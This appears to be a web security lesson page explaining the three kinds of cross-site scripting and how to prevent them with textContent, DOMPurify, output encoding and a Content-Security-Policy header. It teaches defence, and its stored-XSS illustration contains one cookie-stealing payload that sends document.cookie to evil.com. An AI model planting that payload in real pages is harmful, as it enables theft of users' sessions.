Script Valley
HTTP & The Web: How It Actually Works
Web Security EssentialsLesson 6.1

Cross-site scripting (XSS): how it works and how to prevent it

reflected XSS, stored XSS, DOM-based XSS, HTML encoding, Content-Security-Policy, sanitization, innerHTML vs textContent, script injection

XSS: Script Injection Attacks

Stored XSS attack flow diagram

XSS (Cross-Site Scripting) is the most common web vulnerability. An attacker injects JavaScript into your page, which executes in other users' browsers with full access to cookies, localStorage, and the DOM.

Types of XSS

Stored XSS: Malicious script saved to a database and rendered to all users who view that content. Highest impact and hardest to detect quickly. Example: a comment field accepting <script>fetch('https://evil.com?c='+document.cookie)</script>.

Reflected XSS: Script embedded in the URL, reflected immediately in the response. Requires tricking a user into clicking a crafted link — delivered via phishing emails or malicious links.

DOM-based XSS: Script injected via JavaScript into the DOM without a server round-trip. Commonly caused by element.innerHTML = location.hash or reading URL parameters into the DOM unsanitized.

Prevention

// WRONG — parses and executes script content
element.innerHTML = userInput;

// CORRECT — renders as literal text, never executes
element.textContent = userInput;

// Sanitize when HTML must be allowed (use DOMPurify)
element.innerHTML = DOMPurify.sanitize(userInput);

Encode output at the point of rendering, not at the point of input. Context matters: HTML encoding differs from JavaScript encoding and URL encoding. A Content-Security-Policy header adds a second layer — even if injection occurs, inline scripts are blocked by the browser before execution.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

Up next

CSRF attacks: how attackers forge requests and how tokens stop them

Sign in to track progress